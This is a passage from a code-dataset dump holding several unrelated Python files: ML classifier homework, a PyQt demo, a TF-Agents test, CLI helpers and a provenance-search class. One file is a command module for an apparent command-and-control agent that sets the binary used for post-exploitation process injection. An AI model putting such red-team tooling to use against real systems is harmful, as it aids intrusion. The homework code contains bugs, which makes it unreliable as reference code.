ImportedTemplate(href)\n\n for k, v in modified_context.items():\n # modified\n if k in context and context[k] is v:\n continue\n\n setattr(container, k, v)\n\n return container\n","sub_path":"tonnikala/runtime/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"501395499","text":"from __future__ import division # floating point division\nimport numpy as np\nimport utilities as utils\n\nclass Classifier:\n \"\"\"\n Generic classifier interface; returns random classification\n Assumes y in {0,1}, rather than {-1, 1}\n \"\"\"\n\n def __init__( self, parameters={} ):\n \"\"\" Params can contain any useful parameters for the algorithm \"\"\"\n self.params = {}\n\n def reset(self, parameters):\n \"\"\" Reset learner \"\"\"\n self.resetparams(parameters)\n\n def resetparams(self, parameters):\n \"\"\" Can pass parameters to reset with new parameters \"\"\"\n try:\n utils.update_dictionary_items(self.params,parameters)\n except AttributeError:\n # Variable self.params does not exist, so not updated\n # Create an empty set of params for future reference\n self.params = {}\n\n def getparams(self):\n return self.params\n\n def learn(self, Xtrain, ytrain):\n \"\"\" Learns using the traindata \"\"\"\n\n def predict(self, Xtest):\n probs = np.random.rand(Xtest.shape[0])\n ytest = utils.threshold_probs(probs)\n return ytest\n\nclass LinearRegressionClass(Classifier):\n \"\"\"\n Linear Regression with ridge regularization\n Simply solves (X.T X/t + lambda eye)^{-1} X.T y/t\n \"\"\"\n def __init__( self, parameters={} ):\n self.params = {'regwgt': 0.01}\n self.reset(parameters)\n\n def reset(self, parameters):\n self.resetparams(parameters)\n self.weights = None\n\n def learn(self, Xtrain, ytrain):\n \"\"\" Learns using the traindata \"\"\"\n # Ensure ytrain is {-1,1}\n yt = np.copy(ytrain)\n yt[yt == 0] = -1\n\n # Dividing by numsamples before adding ridge regularization\n # for additional stability; this also makes the\n # regularization parameter not dependent on numsamples\n # if want regularization disappear with more samples, must pass\n # such a regularization parameter lambda/t\n numsamples = Xtrain.shape[0]\n self.weights = np.dot(np.dot(np.linalg.pinv(np.add(np.dot(Xtrain.T,Xtrain)/numsamples,self.params['regwgt']*np.identity(Xtrain.shape[1]))), Xtrain.T),yt)/numsamples\n\n def predict(self, Xtest):\n ytest = np.dot(Xtest, self.weights)\n ytest[ytest > 0] = 1\n ytest[ytest < 0] = 0\n return ytest\n\nclass NaiveBayes(Classifier):\n \"\"\" Gaussian naive Bayes; \"\"\"\n\n def __init__(self, parameters={}):\n \"\"\" Params can contain any useful parameters for the algorithm \"\"\"\n # Assumes that a bias unit has been added to feature vector as the last feature\n # If usecolumnones is False, it should ignore this last feature\n self.params = {'usecolumnones': True}\n self.reset(parameters)\n\n def reset(self, parameters):\n self.resetparams(parameters)\n self.means = []\n self.stds = []\n self.numfeatures = 0\n self.numclasses = 0\n\n def learn(self, Xtrain, ytrain):\n \"\"\"\n In the first code block, you should set self.numclasses and\n self.numfeatures correctly based on the inputs and the given parameters\n (use the column of ones or not).\n\n In the second code block, you should compute the parameters for each\n feature. In this case, they're mean and std for Gaussian distribution.\n \"\"\"\n\n ### YOUR CODE HERE\n self.numclasses = 2\n self.numfeatures = 9\n\n # prior\n p_0 = 0\n p_1 = 0\n for i in range (len(ytrain)):\n if ytrain[i] == 1:\n p_1 += 1\n else:\n p_0 += 1\n self.p_0 = p_0/len(ytrain)\n self.p_1 = p_1/len(ytrain)\n # print(self.p_0,self.p_1)\n ### END YOUR CODE\n\n origin_shape = (self.numclasses, self.numfeatures)\n self.means = np.zeros(origin_shape)\n self.stds = np.zeros(origin_shape)\n\n ### YOUR CODE HERE\n self.mean = np.mean(Xtrain, axis=0)\n self.std = np.std(Xtrain, axis=0)\n\n self.class_mean = np.zeros((self.numclasses, self.numfeatures))\n self.class_std = np.zeros((self.numclasses, self.numfeatures))\n n = Xtrain.shape[0]\n\n # print(ytrain)\n class_0 = []\n class_1 = []\n\n for i in range (len(ytrain)):\n if ytrain[i] == 1:\n self.class_1 = class_1.append(Xtrain[i])\n # count += 1\n elif ytrain[i] == 0:\n self.class_0 = class_0.append(Xtrain[i])\n # print (count)\n \n for j in range (self.numfeatures):\n mean = []\n for i in range (p_0):\n mean.append(class_0[i][j])\n self.class_mean[0][j] = np.mean(mean)\n self.class_std[0][j] = np.std(mean)\n mean = []\n for i in range(p_1):\n mean.append(class_1[i][j])\n self.class_mean[1][j] = np.mean(mean)\n self.class_std[1][j] = np.std(mean)\n\n # print(self.class_mean[0],self.class_std[0])\n # print(self.class_mean[1],self.class_std[1])\n ### END YOUR CODE\n\n assert self.means.shape == origin_shape\n assert self.stds.shape == origin_shape\n\n def predict(self, Xtest):\n \"\"\"\n Use the parameters computed in self.learn to give predictions on new\n observations.\n \"\"\"\n ytest = np.zeros(Xtest.shape[0], dtype=int)\n \n ### YOUR CODE HERE\n y = np.ones((self.numclasses, Xtest.shape[0]))\n h =[]\n for i in range (Xtest.shape[0]):\n for j in range (self.numfeatures):\n if self.class_std[0][j] == 0:\n # print(\"00\")\n y[0][i] = y[0][i] * 1\n else:\n # print(\"0\")\n y[0][i] = y[0][i] * (1.0/np.sqrt(2*np.pi*(self.class_std[0][j]**2))) * np.exp(-1.0*np.square(Xtest[i][j]-self.class_mean[0][j])/(2*(self.class_std[0][j]**2)))\n if self.class_std[1][j] == 0:\n # print(\"10\")\n y[1][i] = y[1][i] * 1\n else:\n # print(\"1\")\n y[1][i] = y[1][i] * (1.0/np.sqrt(2*np.pi*(self.class_std[1][j]**2))) * np.exp(-1.0*np.square(Xtest[i][j]-self.class_mean[1][j])/(2*(self.class_std[1][j]**2)))\n y[0][i] = y[0][i] * self.p_0\n y[1][i] = y[1][i] * self.p_1\n # print(\"y\")\n # print(y)\n for i in range (Xtest.shape[0]):\n if y[1][i] >= y[0][i]:\n ytest[i] = 1\n else:\n ytest[i] = 0 \n # print(\"ytest\") \n # print (ytest)\n ### END YOUR CODE\n\n assert len(ytest) == Xtest.shape[0]\n return ytest\n\nclass LogitReg(Classifier):\n\n def __init__(self, parameters={}):\n # Default: no regularization\n self.params = {'regwgt': 0.0, 'regularizer': 'None'}\n self.reset(parameters)\n\n def reset(self, parameters):\n self.resetparams(parameters)\n self.weights = None\n if self.params['regularizer'] is 'l1':\n self.regularizer = (utils.l1, utils.dl1)\n elif self.params['regularizer'] is 'l2':\n self.regularizer = (utils.l2, utils.dl2)\n else:\n self.regularizer = (lambda w: 0, lambda w: np.zeros(w.shape,))\n \n def sigmoid(self, x):\n ''' sigmoid function '''\n y = 1.0/(1+np.exp(-1.0*x))\n\n return y\n\n def logit_cost(self, theta, X, y):\n \"\"\"\n Compute cost for logistic regression using theta as the parameters.\n \"\"\"\n\n cost = 0.0\n\n ### YOUR CODE HERE\n # print(\"--1\")\n p_1 = utils.sigmoid(np.dot(theta, X))\n # print (p_1)\n cost = y*np.log(p_1) + (1-y)*np.log(1-p_1) \n # + 0.5*self.params['regwgt']*np.dot(theta, theta)\n cost = cost[0]\n ### END YOUR CODE\n\n return cost\n\n def logit_cost_grad(self, theta, X, y):\n \"\"\"\n Compute gradients of the cost with respect to theta.\n \"\"\"\n\n grad = np.zeros(len(theta))\n\n ### YOUR CODE HERE\n # print (X.shape, y.shape)\n p_1 = utils.sigmoid(np.dot(X,theta))\n # print (p_1.shape, y.shape, X.shape)\n\n # regularizer\n # grad = p_1 - y + self.params['regwgt'] * theta\n grad = p_1 - y \n ### END YOUR CODE\n\n return grad\n\n def learn(self, Xtrain, ytrain):\n \"\"\"\n Learn the weights using the training data\n \"\"\"\n\n self.weights = np.zeros(Xtrain.shape[1],)\n\n ### YOUR CODE HERE\n epochs = 100\n stepsize = 0.01\n numsamples = Xtrain.shape[0]\n for i in range (epochs):\n # shuffle data points from 1, ..., numbsamples\n arr = np.arange(numsamples)\n np.random.shuffle(arr)\n for j in arr:\n gradient = np.dot(self.logit_cost_grad(self.weights, Xtrain[j], ytrain[j]), Xtrain[j])\n # print (gradient)\n stepsize = 0.01/(1+i) \n self.weights = self.weights-stepsize*gradient\n ### END YOUR CODE\n\n def predict(self, Xtest):\n \"\"\"\n Use the parameters computed in self.learn to give predictions on new\n observations.\n \"\"\"\n ytest = np.zeros(Xtest.shape[0], dtype=int)\n\n ### YOUR CODE HERE\n # print(\"22\")\n # print (Xtest.shape, self.weights.shape)\n h = utils.sigmoid(np.dot(Xtest, self.weights))\n for i in range (Xtest.shape[0]):\n if h[i] >= 0.5:\n ytest[i] = 1\n else:\n ytest[i] = 0\n\n ### END YOUR CODE\n\n assert len(ytest) == Xtest.shape[0]\n return ytest\n\nclass NeuralNet(Classifier):\n \"\"\" Implement a neural network with a single hidden layer. Cross entropy is\n used as the cost function.\n\n Parameters:\n nh -- number of hidden units\n transfer -- transfer function, in this case, sigmoid\n stepsize -- stepsize for gradient descent\n epochs -- learning epochs\n\n Note:\n 1) feedforword will be useful! Make sure it can run properly.\n 2) Implement the back-propagation algorithm with one layer in ``backprop`` without\n any other technique or trick or regularization. However, you can implement\n whatever you want outside ``backprob``.\n 3) Set the best params you find as the default params. The performance with\n the default params will affect the points you get.\n \"\"\"\n def __init__(self, parameters={}):\n self.params = {'nh': 16,\n 'transfer': 'sigmoid',\n 'stepsize': 0.01,\n 'epochs': 10}\n self.reset(parameters)\n\n def reset(self, parameters):\n self.resetparams(parameters)\n if self.params['transfer'] is 'sigmoid':\n self.transfer = utils.sigmoid\n self.dtransfer = utils.dsigmoid\n else:\n # For now, only allowing sigmoid transfer\n raise Exception('NeuralNet -> can only handle sigmoid transfer, must set option transfer to string sigmoid')\n # self.w_input = None\n # self.w_output = None\n\n def init(self, X, Y):\n std = 1.0/np.sqrt(X.shape[1])\n self.numfeatures = X.shape[1]\n self.w_input = std * np.random.randn(self.params['nh'], self.numfeatures)\n std = 1.0/np.sqrt(self.params['nh'])\n self.w_output = std * np.random.randn(1, self.params['nh'])\n # print(self.w_input.shape, self.w_output.shape)\n\n def feedforward(self, inputs):\n \"\"\"\n Returns the output of the current neural network for the given input\n \"\"\"\n # hidden activations\n # print(self.w_input.shape, inputs.shape)\n a_hidden = self.transfer(np.dot(self.w_input, inputs)) # f2\n\n # output activations\n # print(self.w_output.shape, a_hidden.shape)\n a_output = self.transfer(np.dot(self.w_output, a_hidden)) # f1\n\n return (a_hidden, a_output)\n\n def backprop(self, x, y):\n \"\"\"\n Return a tuple ``(nabla_input, nabla_output)`` representing the gradients\n for the cost function with respect to self.w_input and self.w_output.\n \"\"\"\n\n ### YOUR CODE HERE\n # h = np.zeros(self.params['nh'])\n # for i in range ():\n # print(x.shape)\n h, y_hat = self.feedforward(x)\n # print(h.shape, y_hat.shape)\n # print(\"-----\")\n # print (self.feedforward(x))\n # print(\"-----\")\n d_1 = y_hat - y #derivative of loss\n d_2 = np.zeros(self.params['nh']) #nh no of hidden node\n nabla_output = np.zeros((1,self.params['nh']))\n nabla_input = np.zeros((self.params['nh'], self.numfeatures))\n for i in range (self.params['nh']):\n nabla_output[0][i] = d_1 * h[i]\n \n for i in range (self.params['nh']):\n # print (h.shape, self.w_output.shape)\n d_2[i] = (self.w_output[0][i] * d_1) * h[i] * (1-h[i])\n nabla_input[i] = np.dot(d_2[i], x) \n # print(self.w_output.shape, nabla_output.shape)\n # print(nabla_input, nabla_output)\n ### END YOUR CODE\n\n assert nabla_input.shape == self.w_input.shape\n assert nabla_output.shape == self.w_output.shape\n return (nabla_input, nabla_output)\n\n # TODO: implement learn and predict functions\n def learn(self, Xtrain, ytrain):\n \"\"\"\n Learn the weights using the training data\n \"\"\"\n self.init(Xtrain, ytrain)\n stepsize = 0.01 #self.params['stepsize']\n epochs = self.params['epochs']\n # nabla_input, nabla_output = self.backprop(Xtrain, ytrain)\n for i in range (10):#(epochs):\n arr = np.arange(Xtrain.shape[0])\n np.random.shuffle(arr)\n for j in arr:\n # gradient_1 = np.dot(np.subtract(np.dot(Xtrain[arr[j]].T, self.weights), ytrain[arr[j]]), Xtrain[arr[j]])\n # print (\"----\")\n # print (Xtrain[j].shape)\n gradient_1, gradient_2 = self.backprop(Xtrain[j], ytrain[j])\n # print (gradient)\n self.w_output = self.w_output - stepsize*gradient_2\n self.w_input = self.w_input - stepsize*gradient_1\n # print((self.feedforward(Xtrain[j])[1] - ytrain[j]) ** 2)\n # print(self.w_output, self.w_input)\n\n\n def predict(self, Xtest):\n \"\"\"\n Use the parameters computed in self.learn to give predictions on new\n observations.\n \"\"\"\n # print('hello')\n # print(self.w_output, self.w_input)\n ytest = np.zeros(Xtest.shape[0], dtype=int)\n\n for i in range (Xtest.shape[0]):\n h, y = self.feedforward(Xtest[i])\n if y >= 0.5:\n ytest[i] = 1\n else:\n ytest[i] = 0\n\n assert len(ytest) == Xtest.shape[0]\n return ytest \n\nclass KernelLogitReg(LogitReg):\n \"\"\" Implement kernel logistic regression.\n\n This class should be quite similar to class LogitReg except one more parameter\n 'kernel'. You should use this parameter to decide which kernel to use (None,\n linear or hamming).\n\n Note:\n 1) Please use 'linear' and 'hamming' as the input of the paramteter\n 'kernel'. For example, you can create a logistic regression classifier with\n linear kerenl with \"KernelLogitReg({'kernel': 'linear'})\".\n 2) Please don't introduce any randomness when computing the kernel representation.\n \"\"\"\n def __init__(self, parameters={}):\n # Default: no regularization\n self.params = {'regwgt': 0.0, 'regularizer': 'None', 'kernel': 'None'}\n self.reset(parameters)\n\n def resrt(self, parameters):\n self.resetparams(parameters)\n\n def init(self, Xtrain, ytrain):\n self.numcenters = 10\n self.centers = Xtrain[:self.numcenters]\n\n def linear(self, x, c):\n '''\n linear kernel\n '''\n k = 0\n for i in range (x.shape[0]):\n k = k + x[i]*c[i]\n return k\n\n def hamming(self, x, c):\n '''\n Hamming distance kernel\n '''\n k = 0 \n for i in range (len(x)):\n if x[i] != c[i]:\n k = k + 1\n return k\n\n def logit_cost(self, theta, X, y):\n \"\"\"\n Compute cost for logistic regression using theta as the parameters.\n \"\"\"\n\n cost = 0.0\n\n for i in range (X.shape[0]):\n cost = cost + (y[i]-1)*np.dot(X[i], theta) + np.log(utils.sigmoid(np.dot(X[i], theta)))\n\n cost = cost/n*(-1.0)\n\n return cost\n\n def logit_cost_grad(self, theta, X, y):\n \"\"\"\n Compute gradients of the cost with respect to theta.\n \"\"\"\n\n grad = np.zeros(len(theta))\n\n grad = utils.sigmoid(np.dot(X, theta)) - y\n # grad = grad * stepsize \n\n return grad\n\n def transform(self, Xtrain):\n '''\n transform the data to new representation\n '''\n Ktrain = np.zeros((Xtrain.shape[0], self.numcenters))\n\n for i in range (Xtrain.shape[0]):\n for j in range (self.numcenters):\n if self.params['kernel'] == 'linear':\n Ktrain[i][j] = self.linear(Xtrain[i], self.centers[j])\n elif self.params['kernel'] == 'hamming':\n Ktrain[i][j] == self.hamming(Xtrain[i], self.centers[j])\n return Ktrain\n\n def learn(self, Xtrain, ytrain):\n \"\"\"\n Learn the weights using the training data.\n\n Ktrain the is the kernel representation of the Xtrain.\n \"\"\"\n Ktrain = None\n\n ### YOUR CODE HERE\n self.init(Xtrain, ytrain)\n Ktrain = self.transform(Xtrain)\n ### END YOUR CODE\n\n self.weights = np.zeros(Ktrain.shape[1],)\n\n ### YOUR CODE HERE\n epochs = 100\n stepsize = 0.01\n numsamples = Xtrain.shape[0]\n for i in range (epochs):\n # shuffle data points from 1, ..., numbsamples\n arr = np.arange(numsamples)\n np.random.shuffle(arr)\n for j in arr:\n gradient = np.dot(self.logit_cost_grad(self.weights, Ktrain[j], ytrain[j]), Ktrain[j])\n # print (gradient)\n self.weights = self.weights-stepsize*gradient\n ### END YOUR CODE\n\n self.transformed = Ktrain # Don't delete this line. It's for evaluation.\n\n # TODO: implement necessary functions\n def predict(self, Xtest):\n \"\"\"\n Use the parameters computed in self.learn to give predictions on new\n observations.\n \"\"\"\n ytest = np.zeros(Xtest.shape[0], dtype=int)\n\n ktest = self.transform(Xtest)\n ytest = utils.sigmoid(np.dot(ktest, self.weights))\n print(ktest)\n print(self.weights)\n for i in range (len(ytest)):\n if ytest[i] >= 0.5:\n ytest[i] = 1\n else:\n ytest[i] = 0\n\n return ytest \n\n# ======================================================================\n\ndef test_lr():\n print(\"Basic test for logistic regression...\")\n clf = LogitReg()\n theta = np.array([0.])\n X = np.array([[1.]])\n y = np.array([0])\n\n try:\n cost = clf.logit_cost(theta, X, y)\n except:\n raise AssertionError(\"Incorrect input format for logit_cost!\")\n assert isinstance(cost, float), \"logit_cost should return a float!\"\n\n try:\n grad = clf.logit_cost_grad(theta, X, y)\n except:\n raise AssertionError(\"Incorrect input format for logit_cost_grad!\")\n assert isinstance(grad, np.ndarray), \"logit_cost_grad should return a numpy array!\"\n\n print(\"Test passed!\")\n print(\"-\" * 50)\n\ndef test_nn():\n print(\"Basic test for neural network...\")\n clf = NeuralNet()\n X = np.array([[1., 2.], [2., 1.]])\n y = np.array([0, 1])\n clf.learn(X, y)\n\n assert isinstance(clf.w_input, np.ndarray), \"w_input should be a numpy array!\"\n assert isinstance(clf.w_output, np.ndarray), \"w_output should be a numpy array!\"\n\n try:\n res = clf.feedforward(X[0, :])\n except:\n raise AssertionError(\"feedforward doesn't work!\")\n\n try:\n res = clf.backprop(X[0, :], y[0])\n except:\n raise AssertionError(\"backprob doesn't work!\")\n\n print(\"Test passed!\")\n print(\"-\" * 50)\n\ndef main():\n test_lr()\n test_nn()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Assignment3/Classification/classalgorithms.py","file_name":"classalgorithms.py","file_ext":"py","file_size_in_byte":20390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"486399159","text":"from PyQt5.QtWidgets import QApplication, QPushButton, QMainWindow, QAction\nfrom PyQt5.QtGui import QIcon\nimport sys\nfrom PyQt5 import QtGui\nfrom PyQt5.QtCore import QRect\nfrom PyQt5 import QtCore\n\nclass Window(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.title = 'okno Toolbar'\n self.top = 100\n self.left = 100\n self.width = 680\n self.height = 500\n self.setWindowIcon(QIcon('img\\\\icon.png'))\n self.InitWindow()\n\n def InitWindow(self):\n\n exitAct = QAction(QIcon('img\\\\exit.png'),'Exit',self)\n exitAct.setShortcut('Ctrl+Q')\n exitAct.triggered.connect(self.ClodeApp)\n openAct = QAction(QIcon('img\\\\open.png'),'Copy',self)\n openAct.setShortcut('Ctrl+C')\n\n pasteAct = QAction(QIcon('img\\\\paste.png'),'Paste',self)\n pasteAct.setShortcut('Ctrl+V')\n\n deleteAct = QAction(QIcon('img\\\\delete.png'), 'Delete',self)\n deleteAct.setShortcut('Ctrl+D')\n\n saveAct = QAction(QIcon('img\\\\icon.png'),'Save',self)\n saveAct.setShortcut('Ctrl+S')\n\n self.toolbar = self.addToolBar('Toolbar')\n self.toolbar.addAction(exitAct)\n self.toolbar.addAction(openAct)\n self.toolbar.addAction(pasteAct)\n self.toolbar.addAction(deleteAct)\n self.toolbar.addAction(saveAct)\n\n self.setWindowTitle(self.title)\n self.setGeometry(self.top, self.left, self.width, self.height)\n self.show()\n def ClodeApp(self):\n self.close()\n\nApp = QApplication(sys.argv)\nwindow = Window()\nsys.exit(App.exec())\n\n","sub_path":"PyQt/Toolbars.py","file_name":"Toolbars.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"269052237","text":"from mythic_payloadtype_container.MythicCommandBase import *\nimport json\n\n\nclass Spawntox64Arguments(TaskArguments):\n\n def __init__(self, command_line):\n super().__init__(command_line)\n self.args = {\n \"application\": CommandParameter(name=\"Path to Application\", type=ParameterType.String, required=True, default_value=\"C:\\\\Windows\\\\System32\\\\rundll32.exe\"),\n \"arguments\": CommandParameter(name=\"Arguments\", type=ParameterType.String, default_value=\"\", required=False)\n }\n\n def split_commandline(self):\n if self.command_line[0] == \"{\":\n raise Exception(\"split_commandline expected string, but got JSON object: \" + self.command_line)\n inQuotes = False\n curCommand = \"\"\n cmds = []\n for x in range(len(self.command_line)):\n c = self.command_line[x]\n if c == '\"' or c == \"'\":\n inQuotes = not inQuotes\n if (not inQuotes and c == ' '):\n cmds.append(curCommand)\n curCommand = \"\"\n else:\n curCommand += c\n \n if curCommand != \"\":\n cmds.append(curCommand)\n \n for x in range(len(cmds)):\n if cmds[x][0] == '\"' and cmds[x][-1] == '\"':\n cmds[x] = cmds[x][1:-1]\n elif cmds[x][0] == \"'\" and cmds[x][-1] == \"'\":\n cmds[x] = cmds[x][1:-1]\n\n return cmds\n\n async def parse_arguments(self):\n if len(self.command_line) == 0:\n raise Exception(\"spawnto_x64 requires a path to an executable to be passed on the command line.\\n\\tUsage: {}\".format(Spawntox64Command.help_cmd))\n if self.command_line[0] == \"{\":\n self.load_args_from_json_string(self.command_line)\n else:\n parts = self.split_commandline()\n self.add_arg(\"application\", parts[0])\n firstIndex = self.command_line.index(parts[0])\n cmdline = self.command_line[firstIndex+len(parts[0]):].strip()\n if cmdline[0] in ['\"', \"'\"]:\n cmdline = cmdline[1:].strip()\n self.add_arg(\"arguments\", cmdline)\n\n pass\n\n\nclass Spawntox64Command(CommandBase):\n cmd = \"spawnto_x64\"\n needs_admin = False\n help_cmd = \"spawnto_x64 [path] [args]\"\n description = \"Change the default binary used in post exploitation jobs to [path]. If [args] provided, the process is launched with those arguments.\"\n version = 2\n is_exit = False\n is_file_browse = False\n is_process_list = False\n is_download_file = False\n is_upload_file = False\n is_remove_file = False\n author = \"@djhohnstein\"\n argument_class = Spawntox64Arguments\n attackmapping = [\"T1055\"]\n\n async def create_tasking(self, task: MythicTask) -> MythicTask:\n args = task.args.get_arg(\"arguments\")\n task.display_params = task.args.get_arg(\"application\")\n if args:\n task.display_params += \" {}\".format(args)\n return task\n\n async def process_response(self, response: AgentResponse):\n pass","sub_path":"Payload_Type/apollo/mythic/agent_functions/spawnto_x64.py","file_name":"spawnto_x64.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"449830347","text":"# coding=utf-8\n# Copyright 2018 The TF-Agents Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for tf_agents.bandits.networks.global_and_arm_feature_network.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom absl.testing import parameterized\nimport tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import\n\nfrom tf_agents.bandits.networks import global_and_arm_feature_network as gafn\nfrom tf_agents.bandits.specs import utils as bandit_spec_utils\nfrom tf_agents.specs import tensor_spec\nfrom tf_agents.utils import test_utils\n\n\nparameters = parameterized.named_parameters(\n {\n 'testcase_name': 'batch2feat4act3',\n 'batch_size': 2,\n 'feature_dim': 4,\n 'num_actions': 3\n }, {\n 'testcase_name': 'batch1feat7act9',\n 'batch_size': 1,\n 'feature_dim': 7,\n 'num_actions': 9\n })\n\n\nclass GlobalAndArmFeatureNetworkTest(parameterized.TestCase,\n test_utils.TestCase):\n\n @parameters\n def testCreateFeedForwardCommonTowerNetwork(self, batch_size, feature_dim,\n num_actions):\n obs_spec = bandit_spec_utils.create_per_arm_observation_spec(\n 7, feature_dim, num_actions)\n net = gafn.create_feed_forward_common_tower_network(obs_spec, (4, 3, 2),\n (6, 5, 4), (7, 6, 5))\n input_nest = tensor_spec.sample_spec_nest(\n obs_spec, outer_dims=(batch_size,))\n output, _ = net(input_nest)\n self.evaluate(tf.compat.v1.global_variables_initializer())\n output = self.evaluate(output)\n self.assertAllEqual(output.shape, (batch_size, num_actions))\n\n @parameters\n def testCreateFeedForwardDotProductNetwork(self, batch_size, feature_dim,\n num_actions):\n obs_spec = bandit_spec_utils.create_per_arm_observation_spec(\n 7, feature_dim, num_actions)\n net = gafn.create_feed_forward_dot_product_network(obs_spec, (4, 3, 4),\n (6, 5, 4))\n input_nest = tensor_spec.sample_spec_nest(\n obs_spec, outer_dims=(batch_size,))\n output, _ = net(input_nest)\n self.evaluate(tf.compat.v1.global_variables_initializer())\n output = self.evaluate(output)\n self.assertAllEqual(output.shape, (batch_size, num_actions))\n\n\nif __name__ == '__main__':\n tf.test.main()\n","sub_path":"tf_agents/bandits/networks/global_and_arm_feature_network_test.py","file_name":"global_and_arm_feature_network_test.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"124727145","text":"#!/usr/bin/env python\n# coding=utf-8\ntry:\n input = raw_input\nexcept NameError:\n pass\n\n\ndef prompt(text, default=None, _test=None):\n \"\"\"Ask a question via raw_input() and return their answer.\n\n param text: prompt text\n param default: default value if no answer is provided.\n \"\"\"\n\n text += ' [%s] ' % default if default else ' '\n while True:\n if _test is not None:\n print(text)\n resp = _test\n else:\n resp = input(text)\n if resp:\n return resp\n if default is not None:\n return default\n\n\ndef prompt_bool(text, default=False, yes_choices=None, no_choices=None,\n _test=None):\n \"\"\"Ask a yes/no question via raw_input() and return their answer.\n\n :param text: prompt text\n :param default: default value if no answer is provided.\n :param yes_choices: default 'y', 'yes', '1', 'on', 'true', 't'\n :param no_choices: default 'n', 'no', '0', 'off', 'false', 'f'\n \"\"\"\n\n yes_choices = yes_choices or ('y', 'yes', 't', 'true', 'on', '1')\n no_choices = no_choices or ('n', 'no', 'f', 'false', 'off', '0')\n\n default = yes_choices[0] if default else no_choices[0]\n while True:\n if _test is not None:\n print(text)\n resp = _test\n else:\n resp = prompt(text, default)\n if not resp:\n return default\n resp = str(resp).lower()\n if resp in yes_choices:\n return True\n if resp in no_choices:\n return False\n","sub_path":"voodoo/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"300094920","text":"import distributedQuery\nfrom queryIndex import queryIndex,filteringResults\nimport multiTierFeatureBuilder\nimport numpy as np\n\nimport os\nfrom resources import Resource\nimport scoreMerge\n\nclass provenanceFiltering:\n\n #modify these variables\n algorithmName=\"SystemName\"\n algorithmVersion=\"1.0\"\n\n scalableQuery=None\n useSocketServers = False\n useSocketServerFile = False\n MultiTier = False\n #image results will go here\n imageOutputDir=\"\"\n #Load Index at initialization\n #indexFileResource is a distributedQuery object\n def __init__(self, distributedQueryObject):\n self.scalableQuery=distributedQueryObject\n if os.path.exists('./serverList.txt') and self.useSocketServers and self.useSocketServerFile:\n print('setting server list!')\n self.scalableQuery.setServerList('./serverList.txt')\n #image results from the distributed query will go here\n self.imageOutputDir= self.scalableQuery.imageDirectory\n\n def showTopResults(self,results,k):\n import featureExtraction\n import math\n import matplotlib.pyplot as plt\n fe = featureExtraction.featureExtraction()\n images = list(results.scores.keys())\n numImages = min(k,len(images))\n dim = math.ceil(np.sqrt(numImages))\n fig = plt.figure()\n i = 0\n for im in images[:numImages]:\n image = fe.deserialize_image(self.scalableQuery.getWorldImage(im)._data)\n sub = fig.add_subplot(dim,dim,i+1)\n sub.imshow(image)\n i+=1\n\n pass\n #probeImage conatins Image Data\n def processImage (self, probeImage, numberOfResultsToRetrieve,rootpath=''):\n #get filename\n probeFilename = probeImage.key\n print('yert')\n #create score object\n resultScores =filteringResults()\n\n print('yeet')\n allQueries = []\n allQueries.append(probeImage)\n\n #this can be called as many times as needed\n #image files will be put in\n print('yoot')\n allResults = self.scalableQuery.queryImages(allQueries,numberOfResultsToRetrieve,rootpath=rootpath)\n print('yote')\n #Tier2\n maxScore = allResults[0].scores[list(allResults[0].scores.keys())[0]]\n\n print('gonna hit dat dere if statement')\n if self.MultiTier and maxScore > .03: #only do multitier search if the first query gets enough votes (3% of all features match)\n try:\n mainResult = allResults[0]\n tier2ImageResources = []\n for r in list(mainResult.scores):\n tier2ImageResources.append(self.scalableQuery.getWorldImage(r))\n fullTier2FeatureResource,tier2FeatureSets, featureIDList, featureObjectIDList, featureDictionary,queryOrResultList,featureSetMap,visDict = multiTierFeatureBuilder.getTier2Features(probeImage,tier2ImageResources,30)\n if fullTier2FeatureResource is not None:\n # allTier2Results = self.scalableQuery.queryFeatures([fullTier2FeatureResource['supplemental_information']['value']], 100,ignoreIDs=list(allResults[0].map))\n allTier2Results = self.scalableQuery.queryFeatures(tier2FeatureSets,75,ignoreIDs=list(allResults[0].map))\n print('found results for ',len(allTier2Results),' tier 2 objects')\n # allTier2Scores = multiTierFeatureBuilder.getObjectScores(allTier2Results[0],featureIDList,featureObjectIDList,featureDictionary,queryOrResultList,objectWise=True,ignoreIDs=list(allResults[0].map))\n allTier2Scores = allTier2Results\n finalTier2Ranks = filteringResults()\n for r in allTier2Scores:\n r.I = None\n r.D = None\n r.pairDownResults(2)\n print('merging tier 2 scores')\n for r in allTier2Scores:\n finalTier2Ranks.mergeScores(r,ignoreIDs=allResults[0].map)\n # scoreMerge.mergeScoreSet(allTier2Scores)\n allResults[0].mergeScores(finalTier2Ranks)\n else:\n allTier2Results = None\n except:\n print('failed tier 2 search')\n allTier2Results = None\n # print(allResults)\n outputJson = self.createOutput(probeFilename,allResults[0])\n\n return outputJson\n\n\n def createOutput(self,probeFilename, resultScores):\n return {'algorithm': self.createAlgOutput(), 'provenance_filtering': self.createFilteringOutput(probeFilename,resultScores)}\n\n def createAlgOutput(self,):\n return {'name': self.algorithmName.replace(\" \", \"\"), 'version': self.algorithmVersion.replace(\" \", \"\")}\n\n def 